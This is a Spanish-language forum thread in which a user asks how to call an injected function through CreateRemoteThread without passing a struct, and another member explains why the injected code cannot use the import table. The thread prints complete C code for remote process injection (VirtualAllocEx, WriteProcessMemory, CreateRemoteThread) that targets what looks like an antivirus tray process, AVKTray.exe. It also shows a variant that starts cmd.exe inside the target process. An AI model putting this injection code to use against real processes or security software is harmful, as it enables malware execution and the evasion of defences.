como agrego una funcion en struct o como executo una funcion con CreateRemoteT?

Iniciado por Belial & Grimoire, 28 Agosto 2011, 20:57 PM

0 Miembros y 2 Visitantes están viendo este tema.

Belial & Grimoire

hola

tengo una duda, estaba repasando la inyeccin de E0N, y lo modifique tratando de meter mas cosas a la estructura pero tenia la duda de hacerlo funcionar sin usar estructuras y hacerlo directamente de la funcion pero cuando lo intento me sale un error que cierra tanto notepad como la aplicacion

esto es lo que modifique bueno mas bien agregue



//La función que inyectaremos
DWORD inyectada (datos *data)
{
data -> apiMessageBoxA (0, data->mensaje, data->titulo, 0);
data -> shh( NULL, data->p, data->d,data->i, data->c, SW_SHOWNORMAL);

return 0;
}



typedef struct tdatos
{
SHELLEXECUTE shh;
datMessageBoxA apiMessageBoxA;
char titulo  [20];
char mensaje [20];
char p[20];
char d[200];
char i[50];
char c[5];
}datos;


y de esa manera me funciona, pero no puedo hacer que en vez de utilizar la estructura se vaya directo a la funcion

acaso tendria que meter la funcion a struct para hacerlo funcionar? o como invoko la funcion con CreateRemoteThread sin que falle?, porque intente simplemente poner la funcion como cualquier otra e invokarla con LPTHREAD_START_ROUTINE

les dejo el codigo completo de E0N por si no lo han visto o no lo recuerdan

espero me puedan explicar, salu2

#pragma hdrstop
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

//Creamos un puntero a la api que queremos inyectar
typedef int (WINAPI *datMessageBoxA) (HWND, LPCTSTR, LPCTSTR, UINT);

//La estructura que inyectaremos
struct datos
{
datMessageBoxA apiMessageBoxA;
char titulo [100];
char mensaje [100];
};


//Declaración de funciones
DWORD GetAdres(char *module, char *function);

//La función que inyectaremos
DWORD inyectada (datos *data)
{
data -> apiMessageBoxA (0, data->mensaje, data->titulo, 0);
return 0;
}

//La función iyectora
void inyectora()
{
int pid; // Este es el pid del proceso en el que nos queremos inyectar
HANDLE proc; // El handle del proceso en el que inyectaremos
datos dat; // El tipo de dato de la estructura
DWORD TamFun; // El tamaño de la función a inyectar
void* esp; // Lugar de memoria donde copiaremos nuestra función

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Obtenemos el pid
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, "AVKTray.exe"))
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;
}
}
CloseHandle(handle);

//Abrimos el proceso en el que nos inyectaremos

proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);

//Metemos la dirección de la api en la estructura llamndo a la función GetAdres
dat.apiMessageBoxA = (datMessageBoxA) GetAdres ("USER32.DLL", "MessageBoxA");

//Inicializamos las variables que contendrán el mensaje
sprintf(dat.mensaje,"holaaaaaa!!!");
sprintf(dat.titulo,"titulo!!!");


//Reservamos espacio para nuestra estructura en el proceso a inyectar y la escribimos
datos *dat_ = (datos*) VirtualAllocEx(proc, 0, sizeof(datos), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(proc, dat_, &dat, sizeof(datos), NULL);

//Calculamos el tamaño de la función a inyectar
TamFun = (long unsigned int) inyectora - (long unsigned int)inyectada;

//Reservamos espacio para la función, escribimos en él y creamos un hilo
esp = VirtualAllocEx(proc, 0, TamFun, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(proc, esp, (void*)inyectada, TamFun, NULL);
CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE) esp, dat_, 0, NULL);
}

//La función main
void main()
{
inyectora();
}


//Función que nos devuelve un DWORD con la dirección de una api
DWORD GetAdres(char *module, char *function)
{
HMODULE dh = LoadLibrary(module);
DWORD pf = (DWORD)GetProcAddress(dh,function);
FreeLibrary(dh);
return pf;
}



.                                 

Eternal Idol

No se entiende nada. ¿Que es lo tratas de hacer? ¿Llamar a APIs directamente en la funcion inyectada? ¿Algo asi?:

Código (cpp) [Seleccionar]
DWORD inyectada (datos *data)
{
MessageBoxA (0, data->mensaje, data->titulo, 0);
return 0;
}


Eso no funcionara nunca, el codigo a inyectar en tu programa usa la tabla de importacion para llamar a la API y esta no coincide (salvo por una casualidad) con la del programa inyectado.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Belial & Grimoire

algo asi

en vez de hacer esto

struct datos
{
datMessageBoxA apiMessageBoxA;
char titulo [100];
char mensaje [100];
};

//La función que inyectaremos
DWORD inyectada (datos *data)
{
data -> apiMessageBoxA (0, data->mensaje, data->titulo, 0);
return 0;
}

//Reservamos espacio para nuestra estructura en el proceso a inyectar y la escribimos
datos *dat_ = (datos*) VirtualAllocEx(proc, 0, sizeof(datos), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(proc, dat_, &dat, sizeof(datos), NULL);

//Calculamos el tamaño de la función a inyectar
TamFun = (long unsigned int) inyectora - (long unsigned int)inyectada;

//Reservamos espacio para la función, escribimos en él y creamos un hilo
esp = VirtualAllocEx(proc, 0, TamFun, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(proc, esp, (void*)inyectada, TamFun, NULL);
CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE) esp, dat_, 0, NULL);


Hacerlo de una forma directa a la funcion, para hacer esto

DWORD inyectada (){

ShellExecute( NULL, "open", "C:\\WINDOWS\\system32\\cmd.exe", "ipconfig", "C:\\", SW_SHOWNORMAL);
return 0;
}

//////////////

TamFun = (long unsigned int) inyectora - (long unsigned int)inyectada;

esp = VirtualAllocEx(proc, 0, TamFun, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(proc, esp, (void*)inyectada, TamFun, NULL);
CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE) esp, 0, 0, NULL);
}


O no se puede?, porque algo asi intente pero me sale un error
.                                 

Eternal Idol

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón